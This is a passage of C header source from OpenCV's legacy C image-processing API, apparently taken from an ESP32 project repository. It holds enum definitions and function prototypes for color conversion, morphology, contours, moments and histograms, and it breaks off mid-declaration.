CV_BayerBG2RGB_EA = CV_BayerRG2BGR_EA,
CV_BayerGB2RGB_EA = CV_BayerGR2BGR_EA,
CV_BayerRG2RGB_EA = CV_BayerBG2BGR_EA,
CV_BayerGR2RGB_EA = CV_BayerGB2BGR_EA,
CV_BayerBG2BGRA =139,
CV_BayerGB2BGRA =140,
CV_BayerRG2BGRA =141,
CV_BayerGR2BGRA =142,
CV_BayerBG2RGBA =CV_BayerRG2BGRA,
CV_BayerGB2RGBA =CV_BayerGR2BGRA,
CV_BayerRG2RGBA =CV_BayerBG2BGRA,
CV_BayerGR2RGBA =CV_BayerGB2BGRA,
CV_COLORCVT_MAX = 143
};
/** Sub-pixel interpolation methods */
enum
{
CV_INTER_NN =0,
CV_INTER_LINEAR =1,
CV_INTER_CUBIC =2,
CV_INTER_AREA =3,
CV_INTER_LANCZOS4 =4
};
/** ... and other image warping flags */
enum
{
CV_WARP_FILL_OUTLIERS =8,
CV_WARP_INVERSE_MAP =16
};
/** Shapes of a structuring element for morphological operations
@see cv::MorphShapes, cv::getStructuringElement
*/
enum MorphShapes_c
{
CV_SHAPE_RECT =0,
CV_SHAPE_CROSS =1,
CV_SHAPE_ELLIPSE =2,
CV_SHAPE_CUSTOM =100 //!< custom structuring element
};
/** Morphological operations */
enum
{
CV_MOP_ERODE =0,
CV_MOP_DILATE =1,
CV_MOP_OPEN =2,
CV_MOP_CLOSE =3,
CV_MOP_GRADIENT =4,
CV_MOP_TOPHAT =5,
CV_MOP_BLACKHAT =6
};
/** Spatial and central moments */
typedef struct CvMoments
{
double m00, m10, m01, m20, m11, m02, m30, m21, m12, m03; /**< spatial moments */
double mu20, mu11, mu02, mu30, mu21, mu12, mu03; /**< central moments */
double inv_sqrt_m00; /**< m00 != 0 ? 1/sqrt(m00) : 0 */
#if defined(CV__ENABLE_C_API_CTORS) && defined(__cplusplus)
CvMoments(){}
CvMoments(const cv::Moments& m)
{
m00 = m.m00; m10 = m.m10; m01 = m.m01;
m20 = m.m20; m11 = m.m11; m02 = m.m02;
m30 = m.m30; m21 = m.m21; m12 = m.m12; m03 = m.m03;
mu20 = m.mu20; mu11 = m.mu11; mu02 = m.mu02;
mu30 = m.mu30; mu21 = m.mu21; mu12 = m.mu12; mu03 = m.mu03;
double am00 = std::abs(m.m00);
inv_sqrt_m00 = am00 > DBL_EPSILON ? 1./std::sqrt(am00) : 0;
}
operator cv::Moments() const
{
return cv::Moments(m00, m10, m01, m20, m11, m02, m30, m21, m12, m03);
}
#endif
}
CvMoments;
#ifdef __cplusplus
} // extern "C"
CV_INLINE CvMoments cvMoments()
{
#if !defined(CV__ENABLE_C_API_CTORS)
CvMoments self = CV_STRUCT_INITIALIZER; return self;
#else
return CvMoments();
#endif
}
CV_INLINE CvMoments cvMoments(const cv::Moments& m)
{
#if !defined(CV__ENABLE_C_API_CTORS)
double am00 = std::abs(m.m00);
CvMoments self = {
m.m00, m.m10, m.m01, m.m20, m.m11, m.m02, m.m30, m.m21, m.m12, m.m03,
m.mu20, m.mu11, m.mu02, m.mu30, m.mu21, m.mu12, m.mu03,
am00 > DBL_EPSILON ? 1./std::sqrt(am00) : 0
};
return self;
#else
return CvMoments(m);
#endif
}
extern "C" {
#endif // __cplusplus
/** Hu invariants */
typedef struct CvHuMoments
{
double hu1, hu2, hu3, hu4, hu5, hu6, hu7; /**< Hu invariants */
}
CvHuMoments;
/** Template matching methods */
enum
{
CV_TM_SQDIFF =0,
CV_TM_SQDIFF_NORMED =1,
CV_TM_CCORR =2,
CV_TM_CCORR_NORMED =3,
CV_TM_CCOEFF =4,
CV_TM_CCOEFF_NORMED =5
};
typedef float (CV_CDECL * CvDistanceFunction)( const float* a, const float* b, void* user_param );
/** Contour retrieval modes */
enum
{
CV_RETR_EXTERNAL=0,
CV_RETR_LIST=1,
CV_RETR_CCOMP=2,
CV_RETR_TREE=3,
CV_RETR_FLOODFILL=4
};
/** Contour approximation methods */
enum
{
CV_CHAIN_CODE=0,
CV_CHAIN_APPROX_NONE=1,
CV_CHAIN_APPROX_SIMPLE=2,
CV_CHAIN_APPROX_TC89_L1=3,
CV_CHAIN_APPROX_TC89_KCOS=4,
CV_LINK_RUNS=5
};
/*
Internal structure that is used for sequential retrieving contours from the image.
It supports both hierarchical and plane variants of Suzuki algorithm.
*/
typedef struct _CvContourScanner* CvContourScanner;
/** Freeman chain reader state */
typedef struct CvChainPtReader
{
CV_SEQ_READER_FIELDS()
char code;
CvPoint pt;
schar deltas[8][2];
}
CvChainPtReader;
/** initializes 8-element array for fast access to 3x3 neighborhood of a pixel */
#define CV_INIT_3X3_DELTAS( deltas, step, nch ) \
((deltas)[0] = (nch), (deltas)[1] = -(step) + (nch), \
(deltas)[2] = -(step), (deltas)[3] = -(step) - (nch), \
(deltas)[4] = -(nch), (deltas)[5] = (step) - (nch), \
(deltas)[6] = (step), (deltas)[7] = (step) + (nch))
/** Contour approximation algorithms */
enum
{
CV_POLY_APPROX_DP = 0
};
/** Shape matching methods */
enum
{
CV_CONTOURS_MATCH_I1 =1, //!< \f[I_1(A,B) = \sum _{i=1...7} \left | \frac{1}{m^A_i} - \frac{1}{m^B_i} \right |\f]
CV_CONTOURS_MATCH_I2 =2, //!< \f[I_2(A,B) = \sum _{i=1...7} \left | m^A_i - m^B_i \right |\f]
CV_CONTOURS_MATCH_I3 =3 //!< \f[I_3(A,B) = \max _{i=1...7} \frac{ \left| m^A_i - m^B_i \right| }{ \left| m^A_i \right| }\f]
};
/** Shape orientation */
enum
{
CV_CLOCKWISE =1,
CV_COUNTER_CLOCKWISE =2
};
/** Convexity defect */
typedef struct CvConvexityDefect
{
CvPoint* start; /**< point of the contour where the defect begins */
CvPoint* end; /**< point of the contour where the defect ends */
CvPoint* depth_point; /**< the farthest from the convex hull point within the defect */
float depth; /**< distance between the farthest point and the convex hull */
} CvConvexityDefect;
/** Histogram comparison methods */
enum
{
CV_COMP_CORREL =0,
CV_COMP_CHISQR =1,
CV_COMP_INTERSECT =2,
CV_COMP_BHATTACHARYYA =3,
CV_COMP_HELLINGER =CV_COMP_BHATTACHARYYA,
CV_COMP_CHISQR_ALT =4,
CV_COMP_KL_DIV =5
};
/** Mask size for distance transform */
enum
{
CV_DIST_MASK_3 =3,
CV_DIST_MASK_5 =5,
CV_DIST_MASK_PRECISE =0
};
/** Content of output label array: connected components or pixels */
enum
{
CV_DIST_LABEL_CCOMP = 0,
CV_DIST_LABEL_PIXEL = 1
};
/** Distance types for Distance Transform and M-estimators */
enum
{
CV_DIST_USER =-1, /**< User defined distance */
CV_DIST_L1 =1, /**< distance = |x1-x2| + |y1-y2| */
CV_DIST_L2 =2, /**< the simple euclidean distance */
CV_DIST_C =3, /**< distance = max(|x1-x2|,|y1-y2|) */
CV_DIST_L12 =4, /**< L1-L2 metric: distance = 2(sqrt(1+x*x/2) - 1)) */
CV_DIST_FAIR =5, /**< distance = c^2(|x|/c-log(1+|x|/c)), c = 1.3998 */
CV_DIST_WELSCH =6, /**< distance = c^2/2(1-exp(-(x/c)^2)), c = 2.9846 */
CV_DIST_HUBER =7 /**< distance = |x|<c ? x^2/2 : c(|x|-c/2), c=1.345 */
};
/** Threshold types */
enum
{
CV_THRESH_BINARY =0, /**< value = value > threshold ? max_value : 0 */
CV_THRESH_BINARY_INV =1, /**< value = value > threshold ? 0 : max_value */
CV_THRESH_TRUNC =2, /**< value = value > threshold ? threshold : value */
CV_THRESH_TOZERO =3, /**< value = value > threshold ? value : 0 */
CV_THRESH_TOZERO_INV =4, /**< value = value > threshold ? 0 : value */
CV_THRESH_MASK =7,
CV_THRESH_OTSU =8, /**< use Otsu algorithm to choose the optimal threshold value;
combine the flag with one of the above CV_THRESH_* values */
CV_THRESH_TRIANGLE =16 /**< use Triangle algorithm to choose the optimal threshold value;
combine the flag with one of the above CV_THRESH_* values, but not
with CV_THRESH_OTSU */
};
/** Adaptive threshold methods */
enum
{
CV_ADAPTIVE_THRESH_MEAN_C =0,
CV_ADAPTIVE_THRESH_GAUSSIAN_C =1
};
/** FloodFill flags */
enum
{
CV_FLOODFILL_FIXED_RANGE =(1 << 16),
CV_FLOODFILL_MASK_ONLY =(1 << 17)
};
/** Canny edge detector flags */
enum
{
CV_CANNY_L2_GRADIENT =(1 << 31)
};
/** Variants of a Hough transform */
enum
{
CV_HOUGH_STANDARD =0,
CV_HOUGH_PROBABILISTIC =1,
CV_HOUGH_MULTI_SCALE =2,
CV_HOUGH_GRADIENT =3
};
/* Fast search data structures */
struct CvFeatureTree;
struct CvLSH;
struct CvLSHOperations;
/** @} */
#ifdef __cplusplus
}
#endif
#endif
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0015/ESP32-OpenCV-Projects | esp32/examples/color_code/main/opencv/opencv2/imgproc/imgproc_c.h | /*M///////////////////////////////////////////////////////////////////////////////////////
//
// IMPORTANT: READ BEFORE DOWNLOADING, COPYING, INSTALLING OR USING.
//
// By downloading, copying, installing or using the software you agree to this license.
// If you do not agree to this license, do not download, install,
// copy or use the software.
//
//
// License Agreement
// For Open Source Computer Vision Library
//
// Copyright (C) 2000-2008, Intel Corporation, all rights reserved.
// Copyright (C) 2009, Willow Garage Inc., all rights reserved.
// Third party copyrights are property of their respective owners.
//
// Redistribution and use in source and binary forms, with or without modification,
// are permitted provided that the following conditions are met:
//
// * Redistribution's of source code must retain the above copyright notice,
// this list of conditions and the following disclaimer.
//
// * Redistribution's in binary form must reproduce the above copyright notice,
// this list of conditions and the following disclaimer in the documentation
// and/or other materials provided with the distribution.
//
// * The name of the copyright holders may not be used to endorse or promote products
// derived from this software without specific prior written permission.
//
// This software is provided by the copyright holders and contributors "as is" and
// any express or implied warranties, including, but not limited to, the implied
// warranties of merchantability and fitness for a particular purpose are disclaimed.
// In no event shall the Intel Corporation or contributors be liable for any direct,
// indirect, incidental, special, exemplary, or consequential damages
// (including, but not limited to, procurement of substitute goods or services;
// loss of use, data, or profits; or business interruption) however caused
// and on any theory of liability, whether in contract, strict liability,
// or tort (including negligence or otherwise) arising in any way out of
// the use of this software, even if advised of the possibility of such damage.
//
//M*/
#ifndef OPENCV_IMGPROC_IMGPROC_C_H
#define OPENCV_IMGPROC_IMGPROC_C_H
#include "opencv2/imgproc/types_c.h"
#ifdef __cplusplus
extern "C" {
#endif
/** @addtogroup imgproc_c
@{
*/
/*********************** Background statistics accumulation *****************************/
/** @brief Adds image to accumulator
@see cv::accumulate
*/
CVAPI(void) cvAcc( const CvArr* image, CvArr* sum,
const CvArr* mask CV_DEFAULT(NULL) );
/** @brief Adds squared image to accumulator
@see cv::accumulateSquare
*/
CVAPI(void) cvSquareAcc( const CvArr* image, CvArr* sqsum,
const CvArr* mask CV_DEFAULT(NULL) );
/** @brief Adds a product of two images to accumulator
@see cv::accumulateProduct
*/
CVAPI(void) cvMultiplyAcc( const CvArr* image1, const CvArr* image2, CvArr* acc,
const CvArr* mask CV_DEFAULT(NULL) );
/** @brief Adds image to accumulator with weights: acc = acc*(1-alpha) + image*alpha
@see cv::accumulateWeighted
*/
CVAPI(void) cvRunningAvg( const CvArr* image, CvArr* acc, double alpha,
const CvArr* mask CV_DEFAULT(NULL) );
/****************************************************************************************\
* Image Processing *
\****************************************************************************************/
/** Copies source 2D array inside of the larger destination array and
makes a border of the specified type (IPL_BORDER_*) around the copied area. */
CVAPI(void) cvCopyMakeBorder( const CvArr* src, CvArr* dst, CvPoint offset,
int bordertype, CvScalar value CV_DEFAULT(cvScalarAll(0)));
/** @brief Smooths the image in one of several ways.
@param src The source image
@param dst The destination image
@param smoothtype Type of the smoothing, see SmoothMethod_c
@param size1 The first parameter of the smoothing operation, the aperture width. Must be a
positive odd number (1, 3, 5, ...)
@param size2 The second parameter of the smoothing operation, the aperture height. Ignored by
CV_MEDIAN and CV_BILATERAL methods. In the case of simple scaled/non-scaled and Gaussian blur if
size2 is zero, it is set to size1. Otherwise it must be a positive odd number.
@param sigma1 In the case of a Gaussian parameter this parameter may specify Gaussian \f$\sigma\f$
(standard deviation). If it is zero, it is calculated from the kernel size:
\f[\sigma = 0.3 (n/2 - 1) + 0.8 \quad \text{where} \quad n= \begin{array}{l l} \mbox{\texttt{size1} for horizontal kernel} \\ \mbox{\texttt{size2} for vertical kernel} \end{array}\f]
Using standard sigma for small kernels ( \f$3\times 3\f$ to \f$7\times 7\f$ ) gives better speed. If
sigma1 is not zero, while size1 and size2 are zeros, the kernel size is calculated from the
sigma (to provide accurate enough operation).
@param sigma2 additional parameter for bilateral filtering
@see cv::GaussianBlur, cv::blur, cv::medianBlur, cv::bilateralFilter.
*/
CVAPI(void) cvSmooth( const CvArr* src, CvArr* dst,
int smoothtype CV_DEFAULT(CV_GAUSSIAN),
int size1 CV_DEFAULT(3),
int size2 CV_DEFAULT(0),
double sigma1 CV_DEFAULT(0),
double sigma2 CV_DEFAULT(0));
/** @brief Convolves an image with the kernel.
@param src input image.
@param dst output image of the same size and the same number of channels as src.
@param kernel convolution kernel (or rather a correlation kernel), a single-channel floating point
matrix; if you want to apply different kernels to different channels, split the image into
separate color planes using split and process them individually.
@param anchor anchor of the kernel that indicates the relative position of a filtered point within
the kernel; the anchor should lie within the kernel; default value (-1,-1) means that the anchor
is at the kernel center.
@see cv::filter2D
*/
CVAPI(void) cvFilter2D( const CvArr* src, CvArr* dst, const CvMat* kernel,
CvPoint anchor CV_DEFAULT(cvPoint(-1,-1)));
/** @brief Finds integral image: SUM(X,Y) = sum(x<X,y<Y)I(x,y)
@see cv::integral
*/
CVAPI(void) cvIntegral( const CvArr* image, CvArr* sum,
CvArr* sqsum CV_DEFAULT(NULL),
CvArr* tilted_sum CV_DEFAULT(NULL));
/** @brief Smoothes the input image with gaussian kernel and then down-samples it.
dst_width = floor(src_width/2)[+1],
dst_height = floor(src_height/2)[+1]
@see cv::pyrDown
*/
CVAPI(void) cvPyrDown( const CvArr* src, CvArr* dst,
int filter CV_DEFAULT(CV_GAUSSIAN_5x5) );
/** @brief Up-samples image and smoothes the result with gaussian kernel.
dst_width = src_width*2,
dst_height = src_height*2
@see cv::pyrUp
*/
CVAPI(void) cvPyrUp( const CvArr* src, CvArr* dst,
int filter CV_DEFAULT(CV_GAUSSIAN_5x5) );
/** @brief Builds pyramid for an image
@see buildPyramid
*/
CVAPI(CvMat**) cvCreatePyramid( const CvArr* img, int extra_layers, double rate,
const CvSize* layer_sizes CV_DEFAULT(0),
CvArr* bufarr CV_DEFAULT(0),
int calc CV_DEFAULT(1),
int filter CV_DEFAULT(CV_GAUSSIAN_5x5) );
/** @brief Releases pyramid */
CVAPI(void) cvReleasePyramid( CvMat*** pyramid, int extra_layers );
/** @brief Filters image using meanshift algorithm
@see cv::pyrMeanShiftFiltering
*/
CVAPI(void) cvPyrMeanShiftFiltering( const CvArr* src, CvArr* dst,
double sp, double sr, int max_level CV_DEFAULT(1),
CvTermCriteria termcrit CV_DEFAULT(cvTermCriteria(CV_TERMCRIT_ITER+CV_TERMCRIT_EPS,5,1)));
/** @brief Segments image using seed "markers"
@see cv::watershed
*/
CVAPI(void) cvWatershed( const CvArr* image, CvArr* markers );
/** @brief Calculates an image derivative using generalized Sobel
(aperture_size = 1,3,5,7) or Scharr (aperture_size = -1) operator.
Scharr can be used only for the first dx or dy derivative
@see cv::Sobel
*/
CVAPI(void) cvSobel( const CvArr* src, CvArr* dst,
int xorder, int yorder,
int aperture_size CV_DEFAULT(3));
/** @brief Calculates the image Laplacian: (d2/dx + d2/dy)I
@see cv::Laplacian
*/
CVAPI(void) cvLaplace( const CvArr* src, CvArr* dst,
int aperture_size CV_DEFAULT(3) );
/** @brief Converts input array pixels from one color space to another
@see cv::cvtColor
*/
CVAPI(void) cvCvtColor( const CvArr* src, CvArr* dst, int code );
/** @brief Resizes image (input array is resized to fit the destination array)
@see cv::resize
*/
CVAPI(void) cvResize( const CvArr* src, CvArr* dst,
int interpolation CV_DEFAULT( CV_INTER_LINEAR ));
/** @brief Warps image with affine transform
@note ::cvGetQuadrangleSubPix is similar to ::cvWarpAffine, but the outliers are extrapolated using
replication border mode.
@see cv::warpAffine
*/
CVAPI(void) cvWarpAffine( const CvArr* src, CvArr* dst, const CvMat* map_matrix,
int flags CV_DEFAULT(CV_INTER_LINEAR+CV_WARP_FILL_OUTLIERS),
CvScalar fillval CV_DEFAULT(cvScalarAll(0)) );
/** @brief Computes affine transform matrix for mapping src[i] to dst[i] (i=0,1,2)
@see cv::getAffineTransform
*/
CVAPI(CvMat*) cvGetAffineTransform( const CvPoint2D32f * src,
const CvPoint2D32f * dst,
CvMat * map_matrix );
/** @brief Computes rotation_matrix matrix
@see cv::getRotationMatrix2D
*/
CVAPI(CvMat*) cv2DRotationMatrix( CvPoint2D32f center, double angle,
double scale, CvMat* map_matrix );
/** @brief Warps image with perspective (projective) transform
@see cv::warpPerspective
*/
CVAPI(void) cvWarpPerspective( const CvArr* src, CvArr* dst, const CvMat* map_matrix,
int flags CV_DEFAULT(CV_INTER_LINEAR+CV_WARP_FILL_OUTLIERS),
CvScalar fillval CV_DEFAULT(cvScalarAll(0)) );
/** @brief Computes perspective transform matrix for mapping src[i] to dst[i] (i=0,1,2,3)
@see cv::getPerspectiveTransform
*/
CVAPI(CvMat*) cvGetPerspectiveTransform( const CvPoint2D32f* src,
const CvPoint2D32f* dst,
CvMat* map_matrix );
/** @brief Performs generic geometric transformation using the specified coordinate maps
@see cv::remap
*/
CVAPI(void) cvRemap( const CvArr* src, CvArr* dst,
const CvArr* mapx, const CvArr* mapy,
int flags CV_DEFAULT(CV_INTER_LINEAR+CV_WARP_FILL_OUTLIERS),
CvScalar fillval CV_DEFAULT(cvScalarAll(0)) );
/** @brief Converts mapx & mapy from floating-point to integer formats for cvRemap
@see cv::convertMaps
*/
CVAPI(void) cvConvertMaps( const CvArr* mapx, const CvArr* mapy,
CvArr* mapxy, CvArr* mapalpha );
/** @brief Performs forward or inverse log-polar image transform
@see cv::warpPolar
*/
CVAPI(void) cvLogPolar( const CvArr* src, CvArr* dst,
CvPoint2D32f center, double M,
int flags CV_DEFAULT(CV_INTER_LINEAR+CV_WARP_FILL_OUTLIERS));
/** Performs forward or inverse linear-polar image transform
@see cv::warpPolar
*/
CVAPI(void) cvLinearPolar( const CvArr* src, CvArr* dst,
CvPoint2D32f center, double maxRadius,
int flags CV_DEFAULT(CV_INTER_LINEAR+CV_WARP_FILL_OUTLIERS));
/** @brief Returns a structuring element of the specified size and shape for morphological operations.
@note the created structuring element IplConvKernel\* element must be released in the end using
`cvReleaseStructuringElement(&element)`.
@param cols Width of the structuring element
@param rows Height of the structuring element
@param anchor_x x-coordinate of the anchor
@param anchor_y y-coordinate of the anchor
@param shape element shape that could be one of the cv::MorphShapes_c
@param values integer array of cols*rows elements that specifies the custom shape of the
structuring element, when shape=CV_SHAPE_CUSTOM.
@see cv::getStructuringElement
*/
CVAPI(IplConvKernel*) cvCreateStructuringElementEx(
int cols, int rows, int anchor_x, int anchor_y,
int shape, int* values CV_DEFAULT(NULL) );
/** @brief releases structuring element
@see cvCreateStructuringElementEx
*/
CVAPI(void) cvReleaseStructuringElement( IplConvKernel** element );
/** @brief erodes input image (applies minimum filter) one or more times.
If element pointer is NULL, 3x3 rectangular element is used
@see cv::erode
*/
CVAPI(void) cvErode( const CvArr* src, CvArr* dst,
IplConvKernel* element CV_DEFAULT(NULL),
int iterations CV_DEFAULT(1) );
/** @brief dilates input image (applies maximum filter) one or more times.
If element pointer is NULL, 3x3 rectangular element is used
@see cv::dilate
*/
CVAPI(void) cvDilate( const CvArr* src, CvArr* dst,
IplConvKernel* element CV_DEFAULT(NULL),
int iterations CV_DEFAULT(1) );
/** @brief Performs complex morphological transformation
@see cv::morphologyEx
*/
CVAPI(void) cvMorphologyEx( const CvArr* src, CvArr* dst,
CvArr* temp, IplConvKernel* element,
int operation, int iterations CV_DEFAULT(1) );
/** @brief Calculates all spatial and central moments up to the 3rd order
@see cv::moments
*/
CVAPI(void) cvMoments( const CvArr* arr, CvMoments* moments, int binary CV_DEFAULT(0));
/** @brief Retrieve spatial moments */
CVAPI(double) cvGetSpatialMoment( CvMoments* moments, int x_order, int y_order );
/** @brief Retrieve central moments */
CVAPI(double) cvGetCentralMoment( CvMoments* moments, int x_order, int y_order );
/** @brief Retrieve normalized central moments */
CVAPI(double) cvGetNormalizedCentralMoment( CvMoments* moments,
int x_order, int y_order );
/** @brief Calculates 7 Hu's invariants from precalculated spatial and central moments
@see cv::HuMoments
*/
CVAPI(void) cvGetHuMoments( CvMoments* moments, CvHuMoments* hu_moments );
/*********************************** data sampling **************************************/
/** @brief Fetches pixels that belong to the specified line segment and stores them to the buffer.
Returns the number of retrieved points.
@see cv::LineSegmentDetector
*/
CVAPI(int) cvSampleLine( const CvArr* image, CvPoint pt1, CvPoint pt2, void* buffer,
int connectivity CV_DEFAULT(8));
/** @brief Retrieves the rectangular image region with specified center from the input array.
dst(x,y) <- src(x + center.x - dst_width/2, y + center.y - dst_height/2).
Values of pixels with fractional coordinates are retrieved using bilinear interpolation
@see cv::getRectSubPix
*/
CVAPI(void) cvGetRectSubPix( const CvArr* src, CvArr* dst, CvPoint2D32f center );
/** @brief Retrieves quadrangle from the input array.
matrixarr = ( a11 a12 | b1 ) dst(x,y) <- src(A[x y]' + b)
( a21 a22 | b2 ) (bilinear interpolation is used to retrieve pixels
with fractional coordinates)
@see cvWarpAffine
*/
CVAPI(void) cvGetQuadrangleSubPix( const CvArr* src, CvArr* dst,
const CvMat* map_matrix );
/** @brief Measures similarity between template and overlapped windows in the source image
and fills the resultant image with the measurements
@see cv::matchTemplate
*/
CVAPI(void) cvMatchTemplate( const CvArr* image, const CvArr* templ,
CvArr* result, int method );
/** @brief Computes earth mover distance between
two weighted point sets (called signatures)
@see cv::EMD
*/
CVAPI(float) cvCalcEMD2( const CvArr* signature1,
const CvArr* signature2,
int distance_type,
CvDistanceFunction distance_func CV_DEFAULT(NULL),
const CvArr* cost_matrix CV_DEFAULT(NULL),
CvArr* flow CV_DEFAULT(NULL),
float* lower_bound CV_DEFAULT(NULL),
void* userdata CV_DEFAULT(NULL));
/****************************************************************************************\
* Contours retrieving *
\****************************************************************************************/
/** @brief Retrieves outer and optionally inner boundaries of white (non-zero) connected
components in the black (zero) background
@see cv::findContours, cvStartFindContours, cvFindNextContour, cvSubstituteContour, cvEndFindContours
*/
CVAPI(int) cvFindContours( CvArr* image, CvMemStorage* storage, CvSeq** first_contour,
int header_size CV_DEFAULT(sizeof(CvContour)),
int mode CV_DEFAULT(CV_RETR_LIST),
int method CV_DEFAULT(CV_CHAIN_APPROX_SIMPLE),
CvPoint offset CV_DEFAULT(cvPoint(0,0)));
/** @brief Initializes contour retrieving process.
Calls cvStartFindContours.
Calls cvFindNextContour until null pointer is returned
or some other condition becomes true.
Calls cvEndFindContours at the end.
@see cvFindContours
*/
CVAPI(CvContourScanner) cvStartFindContours( CvArr* image, CvMemStorage* storage,
int header_size CV_DEFAULT(sizeof(CvContour)),
int mode CV_DEFAULT(CV_RETR_LIST),
int method CV_DEFAULT(CV_CHAIN_APPROX_SIMPLE),
CvPoint offset CV_DEFAULT(cvPoint(0,0)));
/** @brief Retrieves next contour
@see cvFindContours
*/
CVAPI(CvSeq*) cvFindNextContour( CvContourScanner scanner );
/** @brief Substitutes the last retrieved contour with the new one
(if the substitutor is null, the last retrieved contour is removed from the tree)
@see cvFindContours
*/
CVAPI(void) cvSubstituteContour( CvContourScanner scanner, CvSeq* new_contour );
/** @brief Releases contour scanner and returns pointer to the first outer contour
@see cvFindContours
*/
CVAPI(CvSeq*) cvEndFindContours( CvContourScanner* scanner );
/** @brief Approximates Freeman chain(s) with a polygonal curve.
This is a standalone contour approximation routine, not represented in the new interface. When
cvFindContours retrieves contours as Freeman chains, it calls the function to get approximated
contours, represented as polygons.
@param src_seq Pointer to the approximated Freeman chain that can refer to other chains.
@param storage Storage location for the resulting polylines.
@param method Approximation method (see the description of the function :ocvFindContours ).
@param parameter Method parameter (not used now).
@param minimal_perimeter Approximates only those contours whose perimeters are not less than
minimal_perimeter . Other chains are removed from the resulting structure.
@param recursive Recursion flag. If it is non-zero, the function approximates all chains that can
be obtained from chain by using the h_next or v_next links. Otherwise, the single input chain is
approximated.
@see cvStartReadChainPoints, cvReadChainPoint
*/
CVAPI(CvSeq*) cvApproxChains( CvSeq* src_seq, CvMemStorage* storage,
int method CV_DEFAULT(CV_CHAIN_APPROX_SIMPLE),
double parameter CV_DEFAULT(0),
int minimal_perimeter CV_DEFAULT(0),
int recursive CV_DEFAULT(0));
/** @brief Initializes Freeman chain reader.
The reader is used to iteratively get coordinates of all the chain points.
If the Freeman codes should be read as is, a simple sequence reader should be used
@see cvApproxChains
*/
CVAPI(void) cvStartReadChainPoints( CvChain* chain, CvChainPtReader* reader );
/** @brief Retrieves the next chain point
@see cvApproxChains
*/
CVAPI(CvPoint) cvReadChainPoint( CvChainPtReader* reader );
/****************************************************************************************\
* Contour Processing and Shape Analysis *
\****************************************************************************************/
/** @brief Approximates a single polygonal curve (contour) or
a tree of polygonal curves (contours)
@see cv::approxPolyDP
*/
CVAPI(CvSeq*) cvApproxPoly( const void* src_seq,
int header_size, CvMemStorage* storage,
int method, double eps,
int recursive CV_DEFAULT(0));
/** @brief Calculates perimeter of a contour or length of a part of contour
@see cv::arcLength
*/
CVAPI(double) cvArcLength( const void* curve,
CvSlice slice CV_DEFAULT(CV_WHOLE_SEQ),
int is_closed CV_DEFAULT(-1));
/** same as cvArcLength for closed contour
*/
CV_INLINE double cvContourPerimeter( const void* contour )
{
return cvArcLength( contour, CV_WHOLE_SEQ, 1 );
}
/** @brief Calculates contour bounding rectangle (update=1) or
just retrieves pre-calculated rectangle (update=0)
@see cv::boundingRect
*/
CVAPI(CvRect) cvBoundingRect( CvArr* points, int update CV_DEFAULT(0) );
/** @brief Calculates area of a contour or contour segment
@see cv::contourArea
*/
CVAPI(double) cvContourArea( const CvArr* contour,
CvSlice slice CV_DEFAULT(CV_WHOLE_SEQ),
int oriented CV_DEFAULT(0));
/** @brief Finds minimum area rotated rectangle bounding a set of points
@see cv::minAreaRect
*/
CVAPI(CvBox2D) cvMinAreaRect2( const CvArr* points,
CvMemStorage* storage CV_DEFAULT(NULL));
/** @brief Finds minimum enclosing circle for a set of points
@see cv::minEnclosingCircle
*/
CVAPI(int) cvMinEnclosingCircle( const CvArr* points,
CvPoint2D32f* center, float* radius );
/** @brief Compares two contours by matching their moments
@see cv::matchShapes
*/
CVAPI(double) cvMatchShapes( const void* object1, const void* object2,
int method, double parameter CV_DEFAULT(0));
/** @brief Calculates exact convex hull of 2d point set
@see cv::convexHull
*/
CVAPI(CvSeq*) cvConvexHull2( const CvArr* input,
void* hull_storage CV_DEFAULT(NULL),
int orientation CV_DEFAULT(CV_CLOCKWISE),
int return_points CV_DEFAULT(0));
/** @brief Checks whether the contour is convex or not (returns 1 if convex, 0 if not)
@see cv::isContourConvex
*/
CVAPI(int) cvCheckContourConvexity( const CvArr* contour );
/** @brief Finds convexity defects for the contour
@see cv::convexityDefects
*/
CVAPI(CvSeq*) cvConvexityDefects( const CvArr* contour, const CvArr* convexhull,
CvMemStorage* storage CV_DEFAULT(NULL));
/** @brief Fits ellipse into a set of 2d points
@see cv::fitEllipse
*/
CVAPI(CvBox2D) cvFitEllipse2( const CvArr* points );
/** @brief Finds minimum rectangle containing two given rectangles */
CVAPI(CvRect) cvMaxRect( const CvRect* rect1, const CvRect* rect2 );
/** @brief Finds coordinates of the box vertices */
CVAPI(void) cvBoxPoints( CvBox2D box, CvPoint2D32f pt[4] );
/** @brief Initializes sequence header for a matrix (column or row vector) of points
a wrapper for cvMakeSeqHeaderForArray (it does not initialize bounding rectangle!!!) */
CVAPI(CvSeq*) cvPointSeqFromMat( int seq_kind, const CvArr* mat,
CvContour* contour_header,
CvSeqBlock* block );
/** @brief Checks whether the point is inside polygon, outside, on an edge (at a vertex).
Returns positive, negative or zero value, correspondingly.
Optionally, measures a signed distance between
the point and the nearest polygon edge (measure_dist=1)
@see cv::pointPolygonTest
*/
CVAPI(double) cvPointPolygonTest( const CvArr* contour,
CvPoint2D32f pt, int measure_dist );
/****************************************************************************************\
* Histogram functions *
\****************************************************************************************/
/** @brief Creates a histogram.
The function creates a histogram of the specified size and returns a pointer to the created
histogram. If the array ranges is 0, the histogram bin ranges must be specified later via the
function cvSetHistBinRanges. Though cvCalcHist and cvCalcBackProject may process 8-bit images
without setting bin ranges, they assume they are equally spaced in 0 to 255 bins.
@param dims Number of histogram dimensions.
@param sizes Array of the histogram dimension sizes.
@param type Histogram representation format. CV_HIST_ARRAY means that the histogram data is
represented as a multi-dimensional dense array CvMatND. CV_HIST_SPARSE means that histogram data
is represented as a multi-dimensional sparse array CvSparseMat.
@param ranges Array of ranges for the histogram bins. Its meaning depends on the uniform parameter
value. The ranges are used when the histogram is calculated or backprojected to determine which
histogram bin corresponds to which value/tuple of values from the input image(s).
@param uniform Uniformity flag. If not zero, the histogram has evenly spaced bins and for every
\f$0<=i<cDims\f$ ranges[i] is an array of two numbers: lower and upper boundaries for the i-th
histogram dimension. The whole range [lower,upper] is then split into dims[i] equal parts to
determine the i-th input tuple value ranges for every histogram bin. And if uniform=0 , then the
i-th element of the ranges array contains dims[i]+1 elements: \f$\texttt{lower}_0,
\texttt{upper}_0, \texttt{lower}_1, \texttt{upper}_1 = \texttt{lower}_2,
...
\texttt{upper}_{dims[i]-1}\f$ where \f$\texttt{lower}_j\f$ and \f$\texttt{upper}_j\f$ are lower
and upper boundaries of the i-th input tuple value for the j-th bin, respectively. In either
case, the input values that are beyond the specified range for a histogram bin are not counted
by cvCalcHist and filled with 0 by cvCalcBackProject.
*/
CVAPI(CvHistogram*) cvCreateHist( int dims, int* sizes, int type,
